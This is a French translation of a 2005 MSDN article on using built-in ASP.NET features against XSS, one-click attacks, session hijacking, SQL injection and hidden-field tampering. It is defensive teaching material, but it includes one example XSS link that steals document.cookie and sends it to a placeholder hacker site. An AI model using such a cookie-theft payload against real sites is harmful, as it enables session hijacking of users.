Utilisation des fonctionnalités intégrées ASP.NET pour repousser les attaques Web
Dino Esposito
Wintellect
Janvier 2005
S’applique à
Microsoft ASP.NET 1. X
Microsoft ASP.NET 2.0
Résumé: Dino résume les types d’attaques web les plus courants et décrit comment les développeurs web peuvent utiliser les fonctionnalités intégrées de ASP.NET pour renforcer la sécurité. (13 pages imprimées)
Contenu
Ce que les développeurs ASP.NET doivent toujours faire d’où viennent les menaces
ViewStateUserKey
Cookies et authentification
Détournement de session
EnableViewStateMac
Validaterequest
Perspective de la base de données
Champs masqués
Courriers électroniques et courrier indésirable
Résumé
Ressources associées
Ce que les développeurs ASP.NET doivent toujours faire
Si vous lisez cet article, vous n’avez probablement pas besoin d’être enseigné sur l’importance croissante de la sécurité dans les applications web. Vous recherchez probablement des conseils pratiques sur la façon d’implémenter la sécurité dans ASP.NET applications. La mauvaise nouvelle, c’est qu’aucune plateforme de développement, y compris ASP.NET, ne peut garantir que vous écrirez du code sécurisé à 100 % une fois que vous l’adoptez, qui dit cela, juste des mensonges. La bonne nouvelle, en ce qui concerne ASP.NET, c’est que ASP.NET, en particulier la version 1.1 et la prochaine version 2.0, intègre un certain nombre de barrières défensives intégrées, prêtes à l’emploi.
L’application de toutes ces fonctionnalités ne suffit pas à elle seule pour protéger une application web contre toutes les attaques possibles et prévisibles. Toutefois, combinées à d’autres techniques défensives et stratégies de sécurité, les fonctionnalités de ASP.NET intégrées forment une boîte à outils puissante pour garantir que les applications fonctionnent dans un environnement sécurisé.
La sécurité web est la somme de divers facteurs et le résultat d’une stratégie qui va bien au-delà des limites de l’application individuelle pour impliquer l’administration de base de données, la configuration du réseau, ainsi que l’ingénierie sociale et le hameçonnage.
L’objectif de cet article est d’illustrer ce que ASP.NET développeurs doivent toujours faire afin de maintenir la barre de sécurité raisonnablement élevée. C’est ce qu’est principalement la sécurité: gardez la garde, ne vous sentez jamais entièrement en sécurité, et rendez plus difficile et plus difficile pour les méchants à pirater.
Voyons ce que ASP.NET a à offrir pour simplifier le travail.
D’où viennent les menaces
Dans le tableau 1, j’ai résumé les types les plus courants d’attaques web et les failles dans l’application qui peuvent les faire réussir.
Attaque | Rendu possible par . . . |
---|---|
Scripting inter-site (XSS) | Entrée utilisateur non approuvée répercutée dans la page |
injection SQL | Concaténation de l’entrée utilisateur pour former des commandes SQL |
le piratage de session ; | Id de session devinage et cookies d’ID de session volés |
En un clic | Messages HTTP non conscients envoyés via un script |
Falsification de champ masqué | Champ masqué non coché (et approuvé) rempli de données sensibles |
Tableau 1. Attaques web courantes
Quels sont les faits clés qui ressortent de la liste? Au moins les trois suivants, je dirais :
- Chaque fois que vous insérez un type d’entrée utilisateur dans le balisage du navigateur, vous vous exposez potentiellement à une attaque par injection de code (toutes les variantes de l’injection SQL et XSS).
- L’accès aux bases de données doit être effectué en toute sécurité, c’est-à-dire en utilisant le moins d’autorisations possible pour les comptes et en limitant la responsabilité de l’utilisateur individuel par le biais de rôles.
- Les données sensibles ne doivent jamais être envoyées sur le réseau (et encore moins sous forme de texte clair) et doivent être stockées en toute sécurité sur le serveur.
Il est intéressant de noter que les trois points ci-dessus traitent de trois aspects distincts de la sécurité web, dont la combinaison est la seule façon raisonnable de créer une application pare-balles et résistante aux falsifications. Les facettes de la sécurité web peuvent être résumées comme suit :
- Pratiques de codage : validation des données, vérification du type et de la longueur de la mémoire tampon, mesures anti-falsification
- Stratégies d’accès aux données : utiliser des rôles pour garantir le compte le plus faible possible, utiliser des procédures stockées ou au moins des commandes paramétrables
- Stockage et administration efficaces : ne pas envoyer de données critiques au client, utiliser des codes de hachage pour détecter la manipulation, authentifier les utilisateurs et protéger les identités, appliquer des stratégies rigoureuses pour les mots de passe
Comme vous pouvez le voir, une application sécurisée ne peut résulter que des efforts combinés des développeurs, des architectes et des administrateurs. Ne supposez pas que vous pouvez l’obtenir correctement dans le cas contraire.
Lorsque vous écrivez ASP.NET applications, vous n’êtes pas laissé seul pour vous battre contre l’armée des pirates, armé uniquement de votre cerveau, de vos compétences et de vos doigts pour taper des lignes de code. ASP.NET 1.1 et versions ultérieures permet d’utiliser quelques fonctionnalités spécifiques qui posent des barrières automatiques contre certaines des menaces répertoriées ci-dessus. Examinons-les en détail.
ViewStateUserKey
Introduit avec ASP.NET 1.1, ViewStateUserKey est une propriété de chaîne de la classe Page que seuls quelques développeurs admettent être familiarisés avec. Pourquoi ? Nous allons lire ce que la documentation a à dire à ce sujet.
Affecte un identificateur à un utilisateur individuel dans la variable d’état d’affichage associée à la page active
Malgré le style alambiqué, la phrase est assez claire; mais pouvez-vous honnêtement dis-le expliquer le but prévu de la propriété? Pour comprendre le rôle de ViewStateUserKey, vous devez lire un peu plus avant d’arriver à la section Remarques .
La propriété vous aide à empêcher les attaques en un clic en fournissant une entrée supplémentaire pour créer la valeur de hachage qui défend l’état d’affichage contre la falsification. En d’autres termes, ViewStateUserKey rend beaucoup plus difficile pour les pirates informatiques d’utiliser le contenu de l’état d’affichage côté client pour préparer des publications malveillantes sur le site. La propriété peut être affectée à n’importe quelle chaîne non vide, de préférence l’ID de session ou l’ID de l’utilisateur. Pour mieux comprendre l’importance de cette propriété, passons brièvement en revue les principes fondamentaux de l’attaque en un clic .
Une attaque en un clic consiste à publier un formulaire HTTP malveillant sur un site Web connu et vulnérable. Il est appelé « un clic » parce qu’il commence généralement par une victime inconsciente qui clique sur un lien séduisant reçu par e-mail ou trouvé lors de la navigation dans un forum bondé. En suivant le lien, l’utilisateur déclenche par inadvertance un processus distant qui finit par envoyer le formulaire> malveillant <à un site. Soyez honnête : pouvez-vous dire que vous n’avez jamais suivi un lien comme Cliquez ici pour gagner 1 000 000 $ juste pour voir ce qui se passe? Apparemment, rien de mal ne t’est arrivé. Supposons que c’est correct; pouvez-vous dire la même chose pour tout le reste de la communauté Web? Qui sait.
Pour réussir, une attaque en un clic nécessite certaines conditions d’arrière-plan :
- L’attaquant doit en savoir beaucoup sur le site vulnérable. Cela peut se produire parce que l’attaquant a étudié « avec diligence » le fichier, ou parce qu’il est un interne en colère (par exemple, un employé licencié et malhonnête). Pour cette raison, l’attaque peut être potentiellement dévastatrice.
- Le site doit utiliser des cookies (mieux si des cookies persistants) pour implémenter l’authentification unique, et l’attaquant doit avoir reçu un cookie d’authentification valide.
- Certains utilisateurs du site sont impliqués dans des transactions sensibles.
- L’attaquant doit avoir accès à la page cible.
Comme mentionné, l’attaque consiste à envoyer un formulaire HTTP malveillant à une page qui attend un formulaire. Raisonnablement, cette page consomme des données publiées pour effectuer une opération sensible. Raisonnablement, l’attaquant sait exactement comment chaque champ sera utilisé et peut proposer des valeurs usurpées pour atteindre son objectif. Il s’agit généralement d’une attaque ciblée, et il est également difficile de remonter en raison du commerce triangulaire qu’elle établit : le pirate informatique incite une victime à cliquer sur un lien sur le site du pirate, qui à son tour publiera le code incorrect sur un troisième site. (Voir la figure 1.)
Figure 1. L’attaque en un clic
Pourquoi une victime insoupçonnante ? Parce que, de cette façon, les journaux du serveur montrent que l’adresse IP d’où provient la demande incorrecte est l’adresse IP de la victime! Comme mentionné, cette attaque n’est pas aussi courante (et facile à organiser) qu’une XSS « classique » ; cependant, sa nature le rend potentiellement dévastateur. Quel est le remède pour cela? Examinons les mécanismes de l’attaque dans le contexte ASP.NET.
Sauf si l’action est codée dans l’événement Page_Load , il n’existe aucun moyen pour une page ASP.NET d’exécuter du code sensible en dehors d’un événement de publication. Pour qu’un événement de publication se produise, le champ d’état d’affichage est obligatoire. N’oubliez pas que ASP.NET vérifie l’état de publication d’une requête et définit IsPostBack en conséquence, en fonction de la présence du champ d’entrée _VIEWSTATE. Par conséquent, quiconque souhaite envoyer une demande bidon à une page ASP.NET doit nécessairement fournir un champ d’état d’affichage valide.
Pour que l’attaque en un clic fonctionne, le pirate doit avoir accès à la page. Lorsque cela s’est produit, le pirate à la vision lointaine a enregistré la page localement. Il peut donc désormais accéder au champ _VIEWSTATE et l’utiliser pour créer une requête avec l’ancien état d’affichage et des valeurs malveillantes dans d’autres champs. La question est : est-ce que cela fonctionnera ?
Pourquoi cela ne fonctionne-t-il pas ? Si l’attaquant peut fournir un cookie d’authentification valide, le pirate arrive et la demande est régulièrement traitée. Le contenu de l’état d’affichage n’est pas vérifié du tout sur le serveur (lorsque EnableViewStataMac est désactivé) ou n’est vérifié qu’en cas de falsification. Par défaut, rien dans l’état d’affichage ne lie ce contenu à un utilisateur particulier. L’attaquant peut facilement réutiliser l’état d’affichage obtenu en accédant légalement à la page pour créer une demande bidon pour le compte d’un autre utilisateur. C’est là que ViewStateUserKey s’intègre.
Si elle est choisie avec précision, la propriété ajoute des informations spécifiques à l’utilisateur à l’état d’affichage. Lorsque la demande est traitée, ASP.NET extrait la clé de l’état d’affichage et la compare à la ViewStateUserKey de la page en cours d’exécution. Si les deux correspondent, la demande est considérée comme légitime ; sinon, une exception est levée. Qu’est-ce qu’une valeur valide pour la propriété ?
Définir ViewStateUserKey sur une chaîne constante, la même pour tous les utilisateurs, revient à la laisser vide. Vous devez le définir sur un paramètre qui varie pour chaque utilisateur (ID utilisateur ou, mieux encore, ID de session). Pour un certain nombre de raisons techniques et sociales, l’identifiant de session constitue un bien meilleur choix, car ce type d’identifiant est imprévisible, arrive à expiration et varie selon chaque utilisateur.
Voici le code qui doit apparaître dans toutes vos pages :
void Page_Init (object sender, EventArgs e) { ViewStateUserKey = Session.SessionID; : }
Pour éviter d’écrire ce code à plusieurs reprises, vous pouvez le bouloniser dans la méthode virtuelle OnInit de la classe dérivée de Page. (Notez que vous devez définir cette propriété dans l’événement Page.Init .)
protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = Session.SessionID; }
Dans l’ensemble, l’utilisation d’une classe de page de base est toujours une bonne chose, comme je l’explique dans mon article , Créer vos ASP.NET pages sur un bedrock plus riche. Vous trouverez un excellent article pour en savoir plus sur les tactiques des attaquants en un clic sur aspnetpro.com.
Cookies et authentification
Les cookies existent, car ils peuvent aider les développeurs à obtenir des résultats. Les cookies fonctionnent comme une sorte de lien persistant entre le navigateur et le serveur. En particulier pour les applications utilisant l’authentification unique, un cookie volé est exactement ce qui rend l’attaque possible. C’est certainement le cas des attaques en un clic.
Pour utiliser des cookies, vous n’avez pas besoin de les créer et de les lire explicitement par programmation. Vous utilisez implicitement des cookies si vous utilisez l’état de session et si vous implémentez l’authentification par formulaire. Bien sûr, ASP.NET prend en charge l’état de session sans cookie et ASP.NET 2.0 introduit également l’authentification par formulaire sans cookie. Vous pouvez donc en théorie utiliser ces fonctionnalités sans utiliser de cookies. Je ne dis pas que vous n’avez pas à le faire, mais ce n’est qu’un des cas où le remède peut être encore pire que la maladie. En fait, les sessions sans cookie incorporent l’ID de session dans l’URL pour le rendre visible par tout le monde.
Quels sont les problèmes potentiels liés à l’utilisation des cookies ? Les cookies peuvent être volés (c’est-à-dire copiés sur l’ordinateur du pirate) et empoisonnés (c’est-à-dire remplis de données malveillantes). Ces actions sont souvent le prélude à une attaque entrante. En cas de vol, les cookies d’authentification « autorisent » les utilisateurs externes à se connecter à l’application (et à utiliser des pages protégées) en votre nom, ce qui permet potentiellement aux pirates de contourner l’autorisation et d’effectuer eux-mêmes tous les rôles et paramètres de sécurité qui permettent à la victime de faire. Pour cette raison, les cookies d’authentification bénéficient normalement d’une durée de vie relativement courte( 30 minutes). (Notez que le cookie expire même si la session du navigateur prend plus de temps.) En cas de vol, les pirates disposent d’une fenêtre de 30 minutes pour tenter l’attaque.
Cette fenêtre peut être agrandie pour éviter aux utilisateurs d’avoir à se connecter trop fréquemment ; sachez que vous le faites à vos propres périls. Dans tous les cas, évitez d’utiliser ASP.NET cookies persistants. Cela rendrait la durée de vie du cookie pratiquement pérenne, aussi longtemps que 50 ans! L’extrait de code suivant montre comment modifier l’expiration du cookie à votre guise.
void OnLogin(object sender, EventArgs e) { // Check credentials if (ValidateUser(user, pswd)) { // Set the cookie's expiration date HttpCookie cookie; cookie = FormsAuthentication.GetAuthCookie(user, isPersistent); if (isPersistent) cookie.Expires = DateTime.Now.AddDays(10); // Add the cookie to the response Response.Cookies.Add(cookie); // Redirect string targetUrl; targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent); Response.Redirect(targetUrl); } }
Vous pouvez utiliser ce code dans vos propres formulaires de connexion pour affiner la durée de vie des cookies d’authentification.
Détournement de session
Les cookies sont également utilisés pour récupérer l’état de session d’un utilisateur particulier. L’ID de la session est stocké dans un cookie qui effectue des allers-retours avec la demande et est stocké sur l’ordinateur du navigateur. Là encore, en cas de vol, le cookie de session peut être utilisé pour faire entrer un pirate dans le système et accéder à l’état de session d’une autre personne. Inutile de dire que cela peut se produire tant que la session spécifiée est active ( généralement, pas plus de 20 minutes). Une attaque menée via un état de session usurpé est appelée détournement de session. Pour plus d’informations sur le détournement de session, consultez Vol sur le web : empêcher le détournement de session.
Quelle est la dangerosité de cette attaque ? Difficile à dire. Cela dépend de ce que fait le site Web et, plus important encore, de la façon dont ses pages sont conçues. Par exemple, imaginez que vous avez pu obtenir le cookie de session d’une autre personne et l’attacher à une demande à une page du site. Vous chargez la page et utilisez son interface utilisateur ordinaire. Il n’y a aucun code que vous pouvez injecter dans la page et rien dans la page que vous pouvez modifier, sauf que la page fonctionne maintenant à l’aide de l’état de session d’un autre utilisateur. Cela n’est pas mauvais en soi, mais peut conduire les pirates à une exploitation réussie tant que les informations de la session sont sensibles et critiques. Écoutez, le pirate ne peut pas pénétrer dans le contenu du magasin de session, mais ce qui est stocké dans celui-ci est utilisé comme si le pirate l’a entré légitimement. Par exemple, imaginez une application de commerce électronique où les utilisateurs ajoutent des éléments à un panier d’achat à mesure qu’ils naviguent sur le site.
- Scénario n°1. Le contenu du panier d’achat est stocké dans l’état de session. Toutefois, à l’case activée- out, l’utilisateur est invité à confirmer et à entrer les détails de paiement via une connexion SSL sécurisée. Dans ce cas, la connexion à l’état de session d’un autre utilisateur permet uniquement au pirate d’en savoir plus sur les préférences d’achat de la victime. Aucune sorte de dégâts ne résulte vraiment d’un détournement dans ce contexte. Seule la confidentialité est menacée.
- Scénario n°2. L’application gère un profil pour chaque utilisateur inscrit et stocke le profil dans l’état de session. Hélas, le profil (comme cela peut être le cas) inclut les informations de crédit carte. Pourquoi stocker les détails du profil utilisateur dans la session ? L’un des objectifs de l’application est peut-être d’éviter aux utilisateurs de taper leurs carte de crédit et leurs informations bancaires encore et encore. Ainsi, lors de la validation, l’application navigue l’utilisateur vers une page avec des champs préremplis. De manière improvisé, l’un de ces champs est le crédit carte numéro extrait de l’état de session. Pouvez-vous maintenant deviner la fin de l’histoire ?
La conception de la page de l’application est essentielle pour empêcher les attaques de détournement de session. Deux points restent cependant ouverts. Tout d’abord, que pouvez-vous faire pour empêcher le vol de cookies ? Deuxièmement, que pouvez-ASP.NET faire pour détecter et bloquer le détournement ?
Le cookie de session ASP.NET est extrêmement simple et se limite à contenir la seule chaîne d’ID de session. Le runtime ASP.NET extrait l’ID de session du cookie et le vérifie par rapport aux sessions actives. Si l’ID est valide, ASP.NET se connecte à la session correspondante et continue. Ce comportement simplifie considérablement la vie des pirates qui ont volé, ou peuvent deviner, un ID de session valide.
Les attaques XSS et man-in-the-middle, ainsi que l’accès brut à un PC client, sont tous des moyens d’obtenir un cookie valide. Pour éviter les vols, vous devez implémenter les meilleures pratiques de sécurité pour empêcher XSS, et toutes ses variantes, de réussir.
Pour empêcher la supposition de l’ID de session, vous devez simplement éviter de dépasser vos compétences. Deviner un ID de session signifie que vous savez comment prédire une chaîne d’ID de session valide. Compte tenu de l’algorithme utilisé par ASP.NET (15 nombres aléatoires mappés à des caractères avec URL), votre chance de deviner un ID valide par hasard se rapproche de zéro. Il n’y a aucune raison de remplacer le générateur d’ID de session par défaut par le vôtre. Dans de nombreux cas, vous ne faites que faciliter la vie des attaquants.
Ce qui est pire avec le détournement de session, c’est qu’une fois qu’un cookie a été volé ou deviné, il n’y a pas beaucoup ASP.NET pouvez faire pour détecter l’utilisation frauduleuse du cookie. Là encore, la raison en est que ASP.NET se limite à vérifier la validité de l’ID et questionne le lieu d’origine du cookie.
Mon ami Wintellect Jeff Prosise a écrit un excellent article sur le détournement de session pour MSDN Magazine. Ses conclusions offrent peu de confort - il est pratiquement impossible de construire une défense infaillible contre les attaques qui s’appuient sur des cookies d’ID de session volés - mais le code qu’il a développé offre un conseil intelligent pour élever la barre de sécurité encore plus haut. Jeff a créé un module HTTP qui surveille les requêtes entrantes et les réponses sortantes pour les cookies d’ID de session. Le module ajoute un code de hachage aux ID de session sortants, ce qui compliquerait la réutilisation de ce cookie par l’attaquant. Vous pouvez lire les détails ici.
EnableViewStateMac
L’état d’affichage est utilisé pour conserver l’état des contrôles sur deux requêtes successives pour la même page. Par défaut, l’état d’affichage est encodé en Base64 et signé avec une valeur de hachage pour empêcher toute falsification. Sauf si vous modifiez les paramètres de page par défaut, l’état d’affichage ne risque pas de falsification. Si un attaquant modifie l’état d’affichage, ou même s’il reconstruit l’état d’affichage à l’aide de l’algorithme approprié, ASP.NET intercepte la tentative et lève une exception. Un état d’affichage falsifié n’est pas nécessairement dangereux (il modifie l’état des contrôles du serveur, cependant) mais peut devenir le véhicule d’infections graves. Pour cette raison, il est extrêmement important que vous ne supprimiez pas la vérification croisée du code d’authentification de l’ordinateur (MAC) qui a lieu par défaut. Voir figure 2.
Figure 2 : Ce qui rend l’état d’affichage intrinsèquement inviolable lorsque EnableViewStateMac est activé
Lorsque la vérification MAC est activée (qui est la valeur par défaut), l’état d’affichage sérialisé est ajouté une valeur de hachage qui résulte de certaines valeurs côté serveur et de la clé utilisateur de l’état d’affichage, le cas échéant. Lorsque l’état d’affichage est renvoyé, la valeur de hachage est calculée à nouveau à l’aide de nouvelles valeurs côté serveur et comparée à la valeur stockée. Si les deux correspondent, la demande est autorisée ; sinon, une exception est levée. Même en supposant que le pirate a les compétences nécessaires pour déchiffrer et reconstruire l’état d’affichage, il doit connaître les valeurs stockées sur le serveur pour trouver un hachage valide. Plus précisément, le pirate doit connaître la clé de machine référencée dans l’entrée <machineKey> de machine.config.
Par défaut, l’entrée <machineKey> est générée automatiquement et stockée physiquement dans l’autorité de sécurité locale (LSA) Windows. Uniquement dans le cas de batteries de serveurs Web( lorsque les clés de machine de l’état d’affichage doivent être identiques sur tous les ordinateurs) que vous devez le spécifier en texte clair dans le fichier machine.config.
La vérification mac de l’état d’affichage est contrôlée via un attribut de directive @Page nommé EnableViewStateMac. Comme mentionné, il est défini sur true par défaut. Ne jamais le désactiver; cela permettrait de falsifier l’état d’affichage des attaques en un clic et avec de grandes chances de succès.
Validaterequest
L’écriture de scripts intersites (XSS) est une vieille connaissance pour de nombreux développeurs web chevronnés: elle existe depuis environ 1999. Autrement dit, XSS exploite des trous dans le code pour introduire le code exécutable d’un pirate dans la session de navigateur d’un autre utilisateur. Exécuté, le code injecté peut effectuer diverses actions : récupérer des cookies et charger une copie sur le site Web contrôlé d’un pirate informatique, surveiller la session Web de l’utilisateur et transférer les données, modifier le comportement et l’apparence de la page piratée en donnant des informations incorrectes, même se rendre persistante, de sorte que la prochaine fois que l’utilisateur revient à la page, le code frauduleux s’exécute à nouveau. Pour plus d’informations sur les principes de base d’une attaque XSS, consultez l’article TechNet Sur la vue d’ensemble des scripts intersites.
Quelles failles dans le code rendent les attaques XSS possibles ?
XSS exploite les applications web qui génèrent dynamiquement des pages HTML et ne valident pas l’entrée en écho à la page. L’entrée ici signifie le contenu des chaînes de requête, des cookies et des champs de formulaire. Si ce contenu est en ligne sans vérification appropriée de la santé, il y a le risque que les pirates puissent le manipuler pour exécuter un script malveillant dans les navigateurs clients. (Après tout, l’attaque en un clic susmentionnée est une variante récente de XSS.) Une attaque XSS classique implique que l’utilisateur non méfiant suit un lien de leururage qui incorpore du code de script d’échappement. Le code frauduleux est envoyé à une page vulnérable qui le génère en toute confiance. Voici un exemple de ce qui peut se produire :
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>document.location.replace( 'http://www.hackersite.com/HackerPage.aspx? Cookie=' + document.cookie); </script>">Click to claim your prize</a>
L’utilisateur clique sur un lien apparemment sûr et finit par transmettre à une page vulnérable un code de script qui obtient d’abord tous les cookies sur l’ordinateur de l’utilisateur, puis les envoie à une page sur le site Web du pirate.
Il est important de noter que XSS n’est pas un problème spécifique au fournisseur et n’exploite pas nécessairement les trous dans les Explorer Internet. Elle affecte tous les serveurs web et navigateurs actuellement sur le marché. Plus important encore, notez qu’il n’existe aucun correctif pour le corriger. Vous pouvez sûrement protéger vos pages contre XSS, vous le faites en appliquant des mesures spécifiques et des pratiques de codage saines. En outre, n’oubliez pas que l’attaquant n’a pas besoin que l’utilisateur clique sur un lien pour démarrer l’attaque.
Pour vous défendre contre XSS, vous devez principalement déterminer quelle entrée est valide et rejeter tout le reste. Vous trouverez une liste de contrôle détaillée pour déjouer les attaques XSS dans le livre qui est une lecture obligatoire chez Microsoft — Writing Secure Code par Michael Howard et David LeBlanc. En particulier, je vous suggère d’examiner attentivement le chapitre 13.
Le principal moyen de contrer les attaques XSS insidieuses consiste à ajouter une couche de validation bien effectuée et solide à votre entrée, à savoir n’importe quel type de données d’entrée. Par exemple, il existe des circonstances dans lesquelles même une couleur par ailleurs anoyante (un triplet RVB) peut apporter un script non contrôlé directement à la page.
Dans ASP.NET 1.1, lorsqu’il est activé, l’attribut ValidateRequest de la directive @Page vérifie que les utilisateurs n’envoient pas de balisage HTML potentiellement dangereux dans des chaînes de requête, des cookies ou des champs de formulaire. Si cela est détecté, une exception est levée et la demande est abandonnée. L’attribut est activé par défaut ; vous n’avez rien à faire pour être protégé. Si vous souhaitez autoriser le balisage HTML à passer, vous devez le désactiver activement.
<%@ Page ValidateRequest="false" %>
ValidateRequestn’est pas la solution miracle et ne peut pas remplacer une couche de validation efficace. Lisez ici pour obtenir beaucoup d’informations précieuses sur la façon dont la fonctionnalité fonctionne vraiment sous le capot. Il applique essentiellement une expression régulière pour intercepter quelques séquences potentiellement dangereuses.
Note La fonctionnalité ValidateRequest était à l’origine défectueuse ; vous devez appliquer un correctif pour qu’il fonctionne comme prévu. Il s’agit d’informations précieuses qui sont souvent passées inaperçues. Curieusement, j’ai moi-même trouvé l’une de mes machines encore affectée par le défaut. À tester dès maintenant !
Il n’y a aucune raison de ne pas maintenir ValidateRequest activé. Vous pouvez le désactiver, mais vous devez avoir une très bonne raison; l’un d’entre eux pourrait être l’exigence de l’utilisateur de pouvoir publier du code HTML sur le site pour obtenir de meilleures options de mise en forme. Dans ce cas, vous devez limiter le nombre de balises HTML autorisées (<pré>, <b>, <i>, <p>, <br>, <hr>) et écrire une expression régulière qui garantit que rien d’autre n’est autorisé ou accepté.
Voici quelques conseils supplémentaires qui vous aident à protéger ASP.NET applications contre XSS :
- Utilisez HttpUtility.HtmlEncode pour convertir des symboles dangereux en leur représentation HTML.
- Utilisez des guillemets doubles au lieu de guillemets simples, car l’encodage HTML ne permet que d’échapper des guillemets doubles.
- Forcer une page de code à limiter le nombre de caractères pouvant être utilisés.
En résumé, utilisez, mais ne faites pas entièrement confiance, l’attribut ValidateRequest et ne soyez pas trop paresseux. Passez du temps à comprendre les menaces de sécurité telles que XSS à leurs racines et planifiez une stratégie défensive centrée sur un point clé : considérez toutes les entrées utilisateur malfaisantes.
Perspective de la base de données
L’injection SQL est un autre type d’attaque bien connu qui exploite les applications qui utilisent une entrée utilisateur non filtrée pour former des commandes de base de données. Si l’application utilise avec bonheur ce que l’utilisateur tape dans un champ de formulaire pour créer une chaîne de commande SQL, elle vous expose au risque qu’un utilisateur malveillant accède simplement à la page et entre des paramètres frauduleux pour modifier la nature de la requête. Vous pouvez en savoir plus sur l’injection SQL ici.
Il existe de nombreuses façons de contrecarrer une attaque par injection de code SQL. Voici les techniques les plus courantes.
- Assurez-vous que toute entrée utilisateur est du type approprié et qu’elle suit le modèle attendu (code postal, SSN, adresse e-mail). Si vous attendez un nombre d’une zone de texte, bloquez la demande si l’utilisateur entre quelque chose qui ne peut pas être converti en nombre.
- Utilisez des requêtes paramétrables ou, mieux encore, des procédures stockées.
- Utilisez SQL Server autorisations pour limiter les actions que chaque utilisateur peut effectuer sur la base de données. Par exemple, vous pouvez désactiver xp_cmdshell ou la limiter aux administrateurs.
Si vous utilisez une procédure stockée, vous réduisez considérablement la surface d’attaque. En fait, avec les procédures stockées, vous n’avez pas besoin de composer des chaînes SQL de manière dynamique. En outre, tous les paramètres sont validés dans SQL Server par rapport aux types spécifiés. Bien que cela ne soit pas une technique sécurisée à 100 %, combinée à la validation, elle vous rendra plus sécurisé.
Il est encore plus important de s’assurer que seuls les utilisateurs autorisés effectuent des opérations potentiellement dévastatrices telles que la suppression de tables. Cela nécessite une conception minutieuse de la couche intermédiaire de l’application. Une bonne technique, et pas seulement pour des raisons de sécurité, consiste à se concentrer sur les rôles. Vous regroupez les utilisateurs dans des rôles et définissez un compte pour chaque rôle disposant du minimum d’autorisations.
Il y a quelques semaines, le site Web Wintellect a été attaqué par une forme sophistiquée d’injection sql. Le pirate a tenté de créer et de lancer un script FTP pour télécharger un exécutable (malveillant ?). C’était notre chance que l’attaque ait échoué. Ou était-ce plutôt une validation d’entrée forte, l’utilisation de procédures stockées et l’utilisation d’autorisations SQL Server qui empêchaient l’attaque de fonctionner ?
Pour résumer, suivez ces instructions pour éviter les injections indésirables de code SQL :
- Exécutez avec le moins de privilèges et n’exécutez jamais de code en tant que « sa ».
- Restreindre l’accès aux procédures stockées intégrées.
- Privilégiez les requêtes paramétrables SQL.
- Ne créez pas d’instructions via la concaténation de chaînes et n’échoz pas d’erreurs de base de données.
Champs masqués
Dans ASP classique, les champs masqués sont le seul moyen de conserver des données entre les requêtes. Toutes les données que vous devez récupérer lors de la requête suivante sont empaquetées dans un champ d’entrée> masqué< et arrondies. Que se passe-t-il si, sur le client, une personne modifie les valeurs stockées dans le champ ? L’environnement côté serveur n’a aucun moyen de le comprendre tant que le texte est clair. La propriété ViewState ASP.NET pour les pages et les contrôles individuels remplit deux fonctions. D’une part, le ViewState est le moyen de conserver l’état entre les requêtes ; d’autre part, viewState vous permet de stocker des valeurs personnalisées dans un champ masqué protégé et inviolable.
Comme le montre la figure 2, l’état d’affichage est ajouté une valeur de hachage qui est vérifiée sur chaque requête pour détecter la falsification. Il n’y a aucune raison d’utiliser des champs masqués dans ASP.NET sauf dans quelques cas. L’état d’affichage fait de même de manière beaucoup plus sécurisée. Dit à l’avance que le stockage de valeurs sensibles telles que les prix ou le crédit carte détails dans un champ caché clair revient à laisser la porte ouverte aux pirates informatiques, l’état d’affichage rendrait même cette mauvaise pratique moins dangereuse qu’auparavant en raison de son mécanisme de protection des données. Toutefois, gardez à l’esprit que l’état d’affichage empêche la falsification, mais ne garantit pas la confidentialité, sauf si vous le chiffrez, de sorte que le crédit carte les détails stockés dans l’état d’affichage sont de toute façon menacés.
Quand est-il acceptable d’utiliser des champs masqués dans ASP.NET ? Lorsque vous créez des contrôles personnalisés qui doivent renvoyer des données au serveur. Par exemple, imaginez que vous créez un contrôle DataGrid qui prend en charge la réorganisation des colonnes. Vous devez transmettre la nouvelle commande au serveur lors des publications. Où pouvez-vous stocker ces informations, sinon dans un champ masqué ?
Si le champ masqué est un champ en lecture/écriture (c’est-à-dire que le client est censé écrire dans celui-ci), vous ne pouvez pas faire grand-chose qui soit à l’épreuve des pirates. Vous pouvez essayer de hacher ou de déchiffrer le texte, mais cela ne vous donnerait aucune certitude raisonnable de ne pas être piraté. La meilleure défense ici est de faire en sorte que le champ caché contienne des informations inertes et inoffensives.
Cela dit, il est utile de noter que ASP.NET expose une classe peu connue qui peut être utilisée pour encoder et hacher n’importe quel objet sérialisé. La classe est LosFormatter et est la même classe utilisée par l’implémentation ViewState pour créer le texte encodé aller-retour vers le client.
private string EncodeText(string text) { StringWriter writer = new StringWriter(); LosFormatter formatter = new LosFormatter(); formatter.Serialize(writer, text); return writer.ToString(); }
L’extrait de code précédent montre comment utiliser LosFormatter pour créer du contenu de type état d’affichage, encodé et haché.
Courriers électroniques et courrier indésirable
Pour terminer cet article, permettez-moi de souligner qu’au moins deux des attaques les plus courantes ( XSS classique et un clic) sont souvent menées en incitant les victimes sans méfiance à cliquer sur des liens séduisants et usurpés. Souvent, nous trouvons ces liens directement dans notre boîte de réception, malgré les filtres anti-courrier indésirable. Les volumes d’adresses de messagerie peuvent être achetés pour quelques dollars. L’une des main techniques utilisées pour créer de telles listes est l’analyse des pages publiques sur les sites Web à la recherche et à l’obtention de tout ce qui ressemble à une adresse de messagerie.
Si une page affiche une adresse e-mail, il y a de bonnes chances qu’elle soit interceptée tôt ou tard par des robots web. Vraiment ? Eh bien, cela dépend beaucoup de la façon dont vous affichez l’adresse e-mail. Si vous le codez en dur, vous êtes perdu. Si vous avez recours à d’autres représentations telles que dino-at-microsoft-dot-com, il n’est pas clair si vous vraiment tromper un robot web; à coup sûr, vous irez tout humain lisant votre page qui souhaite établir un contact légitime.
Dans l’ensemble, vous devez trouver un moyen de générer dynamiquement l’adresse e-mail en tant que lien mailto . C’est exactement ce que fait un composant libre écrit par Marco Bellinaso. Vous pouvez l’obtenir avec le code source complet à partir du site Web DotNet2TheMax .
Résumé
Quelqu’un doute que le Web soit probablement le plus hostile de tous les environnements d’exécution ? Cela vient du fait que tout le monde peut accéder à un site Web et essayer de lui transmettre des données bonnes et mauvaises. Toutefois, serait-il vraiment judicieux de créer une application web qui n’accepte pas l’entrée utilisateur ?
Voyons donc les choses en face : quelle que soit la force de votre pare-feu et la fréquence à laquelle vous appliquez les correctifs disponibles, si vous exécutez une application web intrinsèquement vulnérable, tôt ou tard, les attaquants marcheront directement au cœur de vos systèmes à travers l’entrée main, à savoir le port 80.
